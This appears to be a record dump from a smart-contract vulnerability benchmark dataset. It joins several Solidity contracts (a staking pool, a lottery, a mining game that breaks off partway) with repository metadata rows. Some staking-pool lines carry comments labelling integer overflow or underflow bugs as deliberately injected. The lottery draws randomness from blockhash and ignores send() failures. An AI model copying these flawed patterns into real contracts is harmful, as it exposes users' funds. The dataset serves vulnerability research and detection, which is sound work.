bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract IRewardDistributionRecipient is Ownable {
address public rewardDistribution;
function notifyRewardAmount(uint256 reward, uint256 _duration) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution) external onlyOwner {
rewardDistribution = _rewardDistribution;
}
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public lpToken;
uint256 internal _totalSupply;
mapping(address => uint256) internal _balances;
constructor(address _lpToken) internal {
lpToken = IERC20(_lpToken);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
_balances[msg.sender] = _balances[msg.sender].add(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
lpToken.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
_balances[msg.sender] = _balances[msg.sender].sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
lpToken.safeTransfer(msg.sender, amount);
}
}
contract BATTLEPool is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public constant war = IERC20(0xf4A81C18816C9B0AB98FAC51B36Dcb63b0E58Fde);
string public desc;
uint256 public starttime;
uint256 public endtime;
uint256 public lastUpdateTime;
mapping(address => uint256) public rewards;
uint256 public penalties;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
constructor(address _lpToken, string memory _desc, uint256 _starttime, uint256 _endtime) public LPTokenWrapper(_lpToken) {
rewardDistribution = msg.sender;
desc = _desc;
starttime = _starttime;
endtime = _endtime;
}
function updateTimes(uint256 _starttime, uint256 _endtime) external onlyOwner {
require(block.timestamp < starttime, "started");
require(_starttime < _endtime, "end before start");
starttime = _starttime;
endtime = _endtime;
}
modifier checkStart(){
require(block.timestamp >= starttime, "not started");
_;
}
function earned(address account) public view returns (uint256) {
return rewards[account];
}
function stake(uint256 amount) public checkStart {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public checkStart {
require(amount > 0, "Cannot withdraw 0");
uint256 transferAmount = amount;
if (battleDay() != 0) {
// 1.5% penalty for withdrawal before the war ends
uint256 penalty = transferAmount.mul(1.5e18).div(1e20);
penalties += penalty;
transferAmount -= penalty;
}
_totalSupply = _totalSupply.sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
_balances[msg.sender] = _balances[msg.sender].sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
emit Withdrawn(msg.sender, amount);
lpToken.safeTransfer(msg.sender, transferAmount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function battleDay() public view returns (uint256) {
uint256 _starttime = starttime;
if (block.timestamp < _starttime || block.timestamp >= endtime) {
return 0;
}
return (block.timestamp - _starttime) / 1 days + 1;
}
function getReward() public checkStart {
uint256 reward = earned(msg.sender);
if (reward != 0) {
rewards[msg.sender] = 0;
war.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function addRewards(address[] calldata accounts, uint256[] calldata amounts) external onlyRewardDistribution returns (uint256 total) {
require(accounts.length == amounts.length, "arrays must match");
for (uint256 i = 0; i < accounts.length; i++) {
total = total.add(amounts[i]);
rewards[accounts[i]] = rewards[accounts[i]].add(amounts[i]);
}
if (total != 0) {
war.safeTransferFrom(msg.sender, address(this), total);
}
lastUpdateTime = block.timestamp;
}
function distributePenalties(address[] calldata accounts, uint256[] calldata fractions) external onlyRewardDistribution returns (uint256 total) {
require(accounts.length == fractions.length, "arrays must match");
if (penalties != 0) {
for (uint256 i = 0; i < accounts.length; i++) {
uint256 fraction = penalties.mul(fractions[i]).div(1e20);
rewards[accounts[i]] = rewards[accounts[i]].add(fraction);
total = total.add(fraction);
}
if (total != 0) {
require(penalties >= total, "fractions over 1e20");
penalties -= total;
}
}
lastUpdateTime = block.timestamp;
}
// unused
function notifyRewardAmount(uint256 reward, uint256 _duration) external { return; }
}
| 280,147 | 13,214 |
e269cf94f5fc1a196c1a6a8b05a53214e3409f462d0b4abe6dd03c8cc15e5d8d
| 16,851 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Gambling/0xa00cCf3183578DEBdc2Ad2368BdD1D85633EC614.sol
| 3,901 | 14,896 |
pragma solidity ^0.4.25;
contract SmartLotto {
using SafeMath for uint256;
uint256 constant public TICKET_PRICE = 0.1 ether; // price of 1 ticket is 0.1 ETH
uint256 constant public MAX_TICKETS_PER_TX = 250; // max tickets amount per 1 transaction
uint256 constant public JACKPOT_WINNER = 1; // jackpot go to 1 ticket winners
uint256 constant public FIRST_PRIZE_WINNERS = 5; // first prize go to 5 tickets winners
uint256 constant public SECOND_PRIZE_WINNERS_PERC = 10; // percent of the second prize ticket winners
uint256 constant public JACKPOT_PRIZE = 10; // jackpot winner take 10% of balance
uint256 constant public FIRST_PRIZE_POOL = 5; // first prize winners takes 5% of balance
uint256 constant public SECOND_PRIZE_POOL = 35; // second prize winners takes 35% of balance
uint256 constant public REFERRAL_COMMISSION = 5; // referral commission 5% from input
uint256 constant public MARKETING_COMMISSION = 10; // marketing commission 10% from input
uint256 constant public WINNINGS_COMMISSION = 20; // winnings commission 20% from winnings
uint256 constant public PERCENTS_DIVIDER = 100; // percents divider, 100%
uint256 constant public CLOSE_TICKET_SALES = 1546297200; // 23:00:00 31th of December 2018 GMT
uint256 constant public LOTTERY_DRAW_START = 1546300800; // 00:00:00 1th of January 2019 GMT
uint256 constant public PAYMENTS_END_TIME = 1554076800; // 00:00:00 1th of April 2019 GMT
uint256 public playersCount = 0; // participated players counter
uint256 public ticketsCount = 0; // buyed tickets counter
uint256 public jackpotPrize = 0; // jackpot win amount per ticket
uint256 public firstPrize = 0; // first prize win amount per ticket
uint256 public secondPrize = 0; // second prize win amount per ticket
uint256 public secondPrizeWonTickets = 0; // second prize win tickets amount
uint256 public wonTicketsAmount = 0; // total amount of won tickets
uint256 public participantsMoneyPool = 0; // money pool returned to participants
uint256 public participantsTicketPrize = 0; // amount returned per 1 ticket
uint256 public ticketsCalculated = 0; // won tickets calculated counter
uint256 public salt = 0; // salt for random generator
bool public calculationsDone; // flag true when all calculations finished
address constant public MARKETING_ADDRESS = 0xFD527958E10C546f8b484135CC51fa9f0d3A8C5f;
address constant public COMMISSION_ADDRESS = 0x53434676E12A4eE34a4eC7CaBEBE9320e8b836e1;
struct Player {
uint256 ticketsCount;
uint256[] ticketsPacksBuyed;
uint256 winnings;
uint256 wonTicketsCount;
uint256 payed;
}
struct TicketsBuy {
address player;
uint256 ticketsAmount;
}
struct TicketsWon {
uint256 won;
}
mapping (address => Player) public players;
mapping (uint256 => TicketsBuy) public ticketsBuys;
mapping (uint256 => TicketsWon) public ticketsWons;
function() public payable {
if (msg.value >= TICKET_PRICE) {
buyTickets();
} else {
if (!calculationsDone) {
makeCalculations(50);
} else {
payPlayers();
}
}
}
function buyTickets() private {
// require time now less than or equal to 23:00:00 31th of December 2018 GMT
require(now <= CLOSE_TICKET_SALES);
// save msg.value
uint256 msgValue = msg.value;
// load player msg.sender
Player storage player = players[msg.sender];
// if new player add to total players stats
if (player.ticketsCount == 0) {
playersCount++;
}
// count amount of tickets which can be bought
uint256 ticketsAmount = msgValue.div(TICKET_PRICE);
// if tickets more than MAX_TICKETS_PER_TX (250 tickets)
if (ticketsAmount > MAX_TICKETS_PER_TX) {
// use MAX_TICKETS_PER_TX (250 tickets)
ticketsAmount = MAX_TICKETS_PER_TX;
}
// count overpayed amount by player
uint256 overPayed = msgValue.sub(ticketsAmount.mul(TICKET_PRICE));
// if player overpayed
if (overPayed > 0) {
// update msgValue for futher calculations
msgValue = msgValue.sub(overPayed);
// send to player overpayed amount
msg.sender.send(overPayed);
}
// add bought tickets pack to array with id of current tickets amount
player.ticketsPacksBuyed.push(ticketsCount);
// create new TicketsBuy record
// creating only one record per MAX_TICKETS_PER_TX (250 tickets)
// to avoid high gas usage when players buy tickets
ticketsBuys[ticketsCount] = TicketsBuy({
player : msg.sender,
ticketsAmount : ticketsAmount
});
// add bought tickets to player stats
player.ticketsCount = player.ticketsCount.add(ticketsAmount);
// update bought tickets counter
ticketsCount = ticketsCount.add(ticketsAmount);
// try get ref address from tx data
address referrerAddress = bytesToAddress(msg.data);
// if ref address not 0 and not msg.sender
if (referrerAddress != address(0) && referrerAddress != msg.sender) {
// count ref amount
uint256 referralAmount = msgValue.mul(REFERRAL_COMMISSION).div(PERCENTS_DIVIDER);
// send ref amount
referrerAddress.send(referralAmount);
}
// count marketing amount
uint256 marketingAmount = msgValue.mul(MARKETING_COMMISSION).div(PERCENTS_DIVIDER);
// send marketing amount
MARKETING_ADDRESS.send(marketingAmount);
}
function makeCalculations(uint256 count) public {
// require calculations not done
require(!calculationsDone);
// require time now more than or equal to 00:00:00 1st of January 2019 GMT
require(now >= LOTTERY_DRAW_START);
// if salt not counted
if (salt == 0) {
// create random salt which depends on blockhash, count of tickets and count of players
salt = uint256(keccak256(abi.encodePacked(ticketsCount, uint256(blockhash(block.number-1)), playersCount)));
// get actual contract balance
uint256 contractBalance = address(this).balance;
// count and save jackpot win amount per ticket
jackpotPrize = contractBalance.mul(JACKPOT_PRIZE).div(PERCENTS_DIVIDER).div(JACKPOT_WINNER);
// count and save first prize win amount per ticket
firstPrize = contractBalance.mul(FIRST_PRIZE_POOL).div(PERCENTS_DIVIDER).div(FIRST_PRIZE_WINNERS);
// count and save second prize win tickets amount
secondPrizeWonTickets = ticketsCount.mul(SECOND_PRIZE_WINNERS_PERC).div(PERCENTS_DIVIDER);
// count and save second prize win amount per ticket
secondPrize = contractBalance.mul(SECOND_PRIZE_POOL).div(PERCENTS_DIVIDER).div(secondPrizeWonTickets);
// count and save how many tickets won
wonTicketsAmount = secondPrizeWonTickets.add(JACKPOT_WINNER).add(FIRST_PRIZE_WINNERS);
// count and save money pool returned to participants
participantsMoneyPool = contractBalance.mul(PERCENTS_DIVIDER.sub(JACKPOT_PRIZE).sub(FIRST_PRIZE_POOL).sub(SECOND_PRIZE_POOL)).div(PERCENTS_DIVIDER);
// count and save participants prize per ticket
participantsTicketPrize = participantsMoneyPool.div(ticketsCount.sub(wonTicketsAmount));
// proceed jackpot prize ticket winnings
calculateWonTickets(JACKPOT_WINNER, jackpotPrize);
// proceed first prize tickets winnings
calculateWonTickets(FIRST_PRIZE_WINNERS, firstPrize);
// update calculated tickets counter
ticketsCalculated = ticketsCalculated.add(JACKPOT_WINNER).add(FIRST_PRIZE_WINNERS);
// if salt already counted
} else {
// if calculations of second prize winners not yet finished
if (ticketsCalculated < wonTicketsAmount) {
// how many tickets not yet calculated
uint256 ticketsForCalculation = wonTicketsAmount.sub(ticketsCalculated);
// if count zero and tickets for calculations more than 50
// than calculate 50 tickets to avoid gas cost more than block limit
if (count == 0 && ticketsForCalculation > 50) {
ticketsForCalculation = 50;
}
// if count more than zero and count less than amount of not calculated tickets
// than use count as amount of tickets for calculations
if (count > 0 && count <= ticketsForCalculation) {
ticketsForCalculation = count;
}
// proceed second prize ticket winnings
calculateWonTickets(ticketsForCalculation, secondPrize);
// update calculated tickets counter
ticketsCalculated = ticketsCalculated.add(ticketsForCalculation);
}
// if calculations of second prize winners finished set calculations done
if (ticketsCalculated == wonTicketsAmount) {
calculationsDone = true;
}
}
}
function calculateWonTickets(uint256 numbers, uint256 prize) private {
// for all numbers in var make calculations
for (uint256 n = 0; n < numbers; n++) {
// get random generated won ticket number
uint256 wonTicketNumber = random(n);
// if ticket already won
if (ticketsWons[wonTicketNumber].won == 1) {
// than add 1 ticket to numbers
numbers = numbers.add(1);
// ticket not won yet
} else {
// mark ticket as won
ticketsWons[wonTicketNumber].won = 1;
// search player record to add ticket winnings
for (uint256 i = 0; i < MAX_TICKETS_PER_TX; i++) {
// search max MAX_TICKETS_PER_TX (250 tickets)
uint256 wonTicketIdSearch = wonTicketNumber - i;
// if player record found
if (ticketsBuys[wonTicketIdSearch].ticketsAmount > 0) {
// read player from storage
Player storage player = players[ticketsBuys[wonTicketIdSearch].player];
// add ticket prize amount to player winnings
player.winnings = player.winnings.add(prize);
// update user won tickets counter
player.wonTicketsCount++;
// player found so stop searching
break;
}
}
}
}
// update salt and add numbers amount
salt = salt.add(numbers);
}
function payPlayers() private {
// require calculations are done
require(calculationsDone);
// pay players if time now less than 00:00:00 1st of April 2019 GMT
if (now <= PAYMENTS_END_TIME) {
// read player record
Player storage player = players[msg.sender];
// if player have won tickets and not yet payed
if (player.winnings > 0 && player.payed == 0) {
// count winnings commission from player won amount
uint256 winCommission = player.winnings.mul(WINNINGS_COMMISSION).div(PERCENTS_DIVIDER);
// count amount of not won tickets
uint256 notWonTickets = player.ticketsCount.sub(player.wonTicketsCount);
// count return amount for not won tickets
uint256 notWonAmount = notWonTickets.mul(participantsTicketPrize);
// update player payed winnings
player.payed = player.winnings.add(notWonAmount);
// send total winnings amount to player
msg.sender.send(player.winnings.sub(winCommission).add(notWonAmount).add(msg.value));
// send commission
COMMISSION_ADDRESS.send(winCommission);
}
// if player have not won tickets and not yet payed
if (player.winnings == 0 && player.payed == 0) {
// count return amount for not won tickets
uint256 returnAmount = player.ticketsCount.mul(participantsTicketPrize);
// update player payed winnings
player.payed = returnAmount;
// send total winnings amount to player
msg.sender.send(returnAmount.add(msg.value));
}
// if payment period already ended
} else {
// get actual contract balance
uint256 contractBalance = address(this).balance;
// actual contract balance more than zero
if (contractBalance > 0) {
// send contract balance to commission address
COMMISSION_ADDRESS.send(contractBalance);
}
}
}
function random(uint256 nonce) private view returns (uint256) {
// random number generated from salt plus nonce divided by total amount of tickets
uint256 number = uint256(keccak256(abi.encodePacked(salt.add(nonce)))).mod(ticketsCount);
return number;
}
function playerBuyedTicketsPacks(address player) public view returns (uint256[]) {
return players[player].ticketsPacksBuyed;
}
function bytesToAddress(bytes data) private pure returns (address addr) {
assembly {
addr := mload(add(data, 0x14))
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
| 334,596 | 13,215 |
c13622157945276bc1cfc963ba7156ea825ce68cbe23c162b0bdcaa505ac3a51
| 20,818 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x4a184673b7247ea15227d8f738a0627e0b17d72a.sol
| 5,873 | 20,505 |
pragma solidity ^0.4.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Minewar {
uint256 round = 0;
uint256 public deadline;
uint256 public CRTSTAL_MINING_PERIOD = 86400;
uint256 public SHARE_CRYSTAL = 10 * CRTSTAL_MINING_PERIOD;
uint256 public HALF_TIME = 12 hours;
uint256 public ROUND_TIME = 7 days;
uint256 BASE_PRICE = 0.005 ether;
uint256 RANK_LIST_LIMIT = 1000;
mapping(uint256 => MinerData) private minerData;
uint256 private numberOfMiners;
mapping(address => PlyerData) private players;
uint256 private numberOfBoosts;
mapping(uint256 => BoostData) private boostData;
uint256 private numberOfOrders;
mapping(uint256 => BuyOrderData) private buyOrderData;
mapping(uint256 => SellOrderData) private sellOrderData;
uint256 private numberOfRank;
address[21] rankList;
address public sponsor;
uint256 public sponsorLevel;
address public administrator;
struct PlyerData {
uint256 round;
mapping(uint256 => uint256) minerCount;
uint256 hashrate;
uint256 crystals;
uint256 lastUpdateTime;
}
struct MinerData {
uint256 basePrice;
uint256 baseProduct;
uint256 limit;
}
struct BoostData {
address owner;
uint256 boostRate;
uint256 startingLevel;
uint256 startingTime;
uint256 halfLife;
}
struct BuyOrderData {
address owner;
string title;
string description;
uint256 unitPrice;
uint256 amount;
}
struct SellOrderData {
address owner;
string title;
string description;
uint256 unitPrice;
uint256 amount;
}
function Minewar() public
{
administrator = msg.sender;
numberOfMiners = 8;
numberOfBoosts = 5;
numberOfOrders = 5;
numberOfRank = 21;
minerData[0] = MinerData(10, 10, 10);
minerData[1] = MinerData(100, 200, 2);
minerData[2] = MinerData(400, 800, 4);
minerData[3] = MinerData(1600, 3200, 8);
minerData[4] = MinerData(6400, 12800, 16);
minerData[5] = MinerData(25600, 51200, 32);
minerData[6] = MinerData(204800, 409600, 64);
minerData[7] = MinerData(1638400, 1638400, 65536);
startNewRound();
}
function startNewRound() private
{
deadline = SafeMath.add(now, ROUND_TIME);
round = SafeMath.add(round, 1);
initData();
}
function initData() private
{
sponsor = administrator;
sponsorLevel = 5;
boostData[0] = BoostData(0, 150, 1, now, HALF_TIME);
boostData[1] = BoostData(0, 175, 1, now, HALF_TIME);
boostData[2] = BoostData(0, 200, 1, now, HALF_TIME);
boostData[3] = BoostData(0, 225, 1, now, HALF_TIME);
boostData[4] = BoostData(msg.sender, 250, 2, now, HALF_TIME);
uint256 idx;
for (idx = 0; idx < numberOfOrders; idx++) {
buyOrderData[idx] = BuyOrderData(0, "title", "description", 0, 0);
sellOrderData[idx] = SellOrderData(0, "title", "description", 0, 0);
}
for (idx = 0; idx < numberOfRank; idx++) {
rankList[idx] = 0;
}
}
function lottery() public
{
require(now >= deadline);
uint256 balance = SafeMath.div(SafeMath.mul(this.balance, 90), 100);
administrator.transfer(SafeMath.div(SafeMath.mul(this.balance, 5), 100));
uint8[10] memory profit = [30,20,10,8,7,5,5,5,5,5];
for(uint256 idx = 0; idx < 10; idx++){
if(rankList[idx] != 0){
rankList[idx].transfer(SafeMath.div(SafeMath.mul(balance,profit[idx]),100));
}
}
startNewRound();
}
function getRankList() public view returns(address[21])
{
return rankList;
}
function becomeSponsor() public payable
{
require(now <= deadline);
require(msg.value >= getSponsorFee());
sponsor.transfer(getCurrentPrice(sponsorLevel));
sponsor = msg.sender;
sponsorLevel = SafeMath.add(sponsorLevel, 1);
}
function getSponsorFee() public view returns(uint256 sponsorFee)
{
sponsorFee = getCurrentPrice(SafeMath.add(sponsorLevel, 1));
}
function getFreeMiner(address ref) public
{
require(now <= deadline);
PlyerData storage p = players[msg.sender];
require(p.round != round);
if(p.hashrate > 0){
for (uint idx = 1; idx < numberOfMiners; idx++) {
p.minerCount[idx] = 0;
}
}
p.crystals = 0;
p.round = round;
p.lastUpdateTime = now;
p.minerCount[0] = 1;
MinerData storage m0 = minerData[0];
p.hashrate = m0.baseProduct;
if (ref != msg.sender) {
PlyerData storage referral = players[ref];
if(referral.round == round){
p.crystals = SafeMath.add(p.crystals, SHARE_CRYSTAL);
referral.crystals = SafeMath.add(referral.crystals, SHARE_CRYSTAL);
}
}
}
function buyMiner(uint256[] minerNumbers) public
{
require(now <= deadline);
require(players[msg.sender].round == round);
require(minerNumbers.length == numberOfMiners);
uint256 minerIdx = 0;
MinerData memory m;
for (; minerIdx < numberOfMiners; minerIdx++) {
m = minerData[minerIdx];
if(minerNumbers[minerIdx] > m.limit || minerNumbers[minerIdx] < 0){
revert();
}
}
updateCrytal(msg.sender);
PlyerData storage p = players[msg.sender];
uint256 price = 0;
uint256 minerNumber = 0;
for (minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) {
minerNumber = minerNumbers[minerIdx];
if (minerNumber > 0) {
m = minerData[minerIdx];
price = SafeMath.add(price, SafeMath.mul(m.basePrice, minerNumber));
}
}
price = SafeMath.mul(price, CRTSTAL_MINING_PERIOD);
if(p.crystals < price){
revert();
}
for (minerIdx = 0; minerIdx < numberOfMiners; minerIdx++) {
minerNumber = minerNumbers[minerIdx];
if (minerNumber > 0) {
m = minerData[minerIdx];
p.minerCount[minerIdx] = SafeMath.min(m.limit, SafeMath.add(p.minerCount[minerIdx], minerNumber));
}
}
p.crystals = SafeMath.sub(p.crystals, price);
updateHashrate(msg.sender);
}
function getPlayerData(address addr) public view returns (uint256 crystals, uint256 lastupdate, uint256 hashratePerDay,
uint256[8] miners, uint256 hasBoost)
{
PlyerData storage p = players[addr];
if(p.round != round){
p = players[0];
}
crystals = SafeMath.div(p.crystals, CRTSTAL_MINING_PERIOD);
lastupdate = p.lastUpdateTime;
hashratePerDay = p.hashrate;
uint256 i = 0;
for(i = 0; i < numberOfMiners; i++)
{
miners[i] = p.minerCount[i];
}
hasBoost = hasBooster(addr);
}
function getHashratePerDay(address minerAddr) public view returns (uint256 personalProduction)
{
PlyerData storage p = players[minerAddr];
personalProduction = p.hashrate;
uint256 boosterIdx = hasBooster(minerAddr);
if (boosterIdx != 999) {
BoostData storage b = boostData[boosterIdx];
personalProduction = SafeMath.div(SafeMath.mul(personalProduction, b.boostRate), 100);
}
}
function buyBooster(uint256 idx) public payable
{
require(now <= deadline);
require(players[msg.sender].round == round);
require(idx < numberOfBoosts);
BoostData storage b = boostData[idx];
if(msg.value < getBoosterPrice(idx) || msg.sender == b.owner){
revert();
}
address beneficiary = b.owner;
sponsor.transfer(devFee(getBoosterPrice(idx)));
beneficiary.transfer(getBoosterPrice(idx) / 2);
updateCrytal(msg.sender);
updateCrytal(beneficiary);
uint256 level = getCurrentLevel(b.startingLevel, b.startingTime, b.halfLife);
b.startingLevel = SafeMath.add(level, 1);
b.startingTime = now;
b.owner = msg.sender;
}
function getBoosterData(uint256 idx) public view returns (address owner,uint256 boostRate, uint256 startingLevel,
uint256 startingTime, uint256 currentPrice, uint256 halfLife)
{
require(idx < numberOfBoosts);
owner = boostData[idx].owner;
boostRate = boostData[idx].boostRate;
startingLevel = boostData[idx].startingLevel;
startingTime = boostData[idx].startingTime;
currentPrice = getBoosterPrice(idx);
halfLife = boostData[idx].halfLife;
}
function getBoosterPrice(uint256 index) public view returns (uint256)
{
BoostData storage booster = boostData[index];
return getCurrentPrice(getCurrentLevel(booster.startingLevel, booster.startingTime, booster.halfLife));
}
function hasBooster(address addr) public view returns (uint256 boostIdx)
{
boostIdx = 999;
for(uint256 i = 0; i < numberOfBoosts; i++){
uint256 revert_i = numberOfBoosts - i - 1;
if(boostData[revert_i].owner == addr){
boostIdx = revert_i;
break;
}
}
}
function buyCrystalDemand(uint256 amount, uint256 unitPrice,string title, string description) public payable
{
require(now <= deadline);
require(players[msg.sender].round == round);
require(unitPrice > 0);
require(amount >= 1000);
require(amount * unitPrice <= msg.value);
uint256 lowestIdx = getLowestUnitPriceIdxFromBuy();
BuyOrderData storage o = buyOrderData[lowestIdx];
if(o.amount > 10 && unitPrice <= o.unitPrice){
revert();
}
uint256 balance = SafeMath.mul(o.amount, o.unitPrice);
if (o.owner != 0){
o.owner.transfer(balance);
}
o.owner = msg.sender;
o.unitPrice = unitPrice;
o.title = title;
o.description = description;
o.amount = amount;
}
function sellCrystal(uint256 amount, uint256 index) public
{
require(now <= deadline);
require(players[msg.sender].round == round);
require(index < numberOfOrders);
require(amount > 0);
BuyOrderData storage o = buyOrderData[index];
require(amount <= o.amount);
updateCrytal(msg.sender);
PlyerData storage seller = players[msg.sender];
PlyerData storage buyer = players[o.owner];
require(seller.crystals >= amount * CRTSTAL_MINING_PERIOD);
uint256 price = SafeMath.mul(amount, o.unitPrice);
uint256 fee = devFee(price);
sponsor.transfer(fee);
administrator.transfer(fee);
buyer.crystals = SafeMath.add(buyer.crystals, amount * CRTSTAL_MINING_PERIOD);
seller.crystals = SafeMath.sub(seller.crystals, amount * CRTSTAL_MINING_PERIOD);
o.amount = SafeMath.sub(o.amount, amount);
msg.sender.transfer(SafeMath.div(price, 2));
}
function withdrawBuyDemand(uint256 index) public
{
require(now <= deadline);
require(index < numberOfOrders);
require(players[msg.sender].round == round);
BuyOrderData storage o = buyOrderData[index];
require(o.owner == msg.sender);
if(o.amount > 0){
uint256 balance = SafeMath.mul(o.amount, o.unitPrice);
o.owner.transfer(balance);
}
o.unitPrice = 0;
o.amount = 0;
o.title = "title";
o.description = "description";
o.owner = 0;
}
function getBuyDemand(uint256 index) public view returns(address owner, string title, string description,
uint256 amount, uint256 unitPrice)
{
require(index < numberOfOrders);
BuyOrderData storage o = buyOrderData[index];
owner = o.owner;
title = o.title;
description = o.description;
amount = o.amount;
unitPrice = o.unitPrice;
}
function getLowestUnitPriceIdxFromBuy() public returns(uint256 lowestIdx)
{
uint256 lowestPrice = 2**256 - 1;
for (uint256 idx = 0; idx < numberOfOrders; idx++) {
BuyOrderData storage o = buyOrderData[idx];
if (o.unitPrice == 0 || o.amount < 10) {
return idx;
}else if (o.unitPrice < lowestPrice) {
lowestPrice = o.unitPrice;
lowestIdx = idx;
}
}
}
function sellCrystalDemand(uint256 amount, uint256 unitPrice, string title, string description) public
{
require(now <= deadline);
require(players[msg.sender].round == round);
require(amount >= 1000);
require(unitPrice > 0);
updateCrytal(msg.sender);
PlyerData storage seller = players[msg.sender];
if(seller.crystals < amount * CRTSTAL_MINING_PERIOD){
revert();
}
uint256 highestIdx = getHighestUnitPriceIdxFromSell();
SellOrderData storage o = sellOrderData[highestIdx];
if(o.amount > 10 && unitPrice >= o.unitPrice){
revert();
}
if (o.owner != 0){
PlyerData storage prev = players[o.owner];
prev.crystals = SafeMath.add(prev.crystals, o.amount * CRTSTAL_MINING_PERIOD);
}
o.owner = msg.sender;
o.unitPrice = unitPrice;
o.title = title;
o.description = description;
o.amount = amount;
seller.crystals = SafeMath.sub(seller.crystals, amount * CRTSTAL_MINING_PERIOD);
}
function buyCrystal(uint256 amount, uint256 index) public payable
{
require(now <= deadline);
require(players[msg.sender].round == round);
require(index < numberOfOrders);
require(amount > 0);
SellOrderData storage o = sellOrderData[index];
require(amount <= o.amount);
require(msg.value >= amount * o.unitPrice);
PlyerData storage buyer = players[msg.sender];
uint256 price = SafeMath.mul(amount, o.unitPrice);
uint256 fee = devFee(price);
sponsor.transfer(fee);
administrator.transfer(fee);
buyer.crystals = SafeMath.add(buyer.crystals, amount * CRTSTAL_MINING_PERIOD);
o.amount = SafeMath.sub(o.amount, amount);
o.owner.transfer(SafeMath.div(price, 2));
}
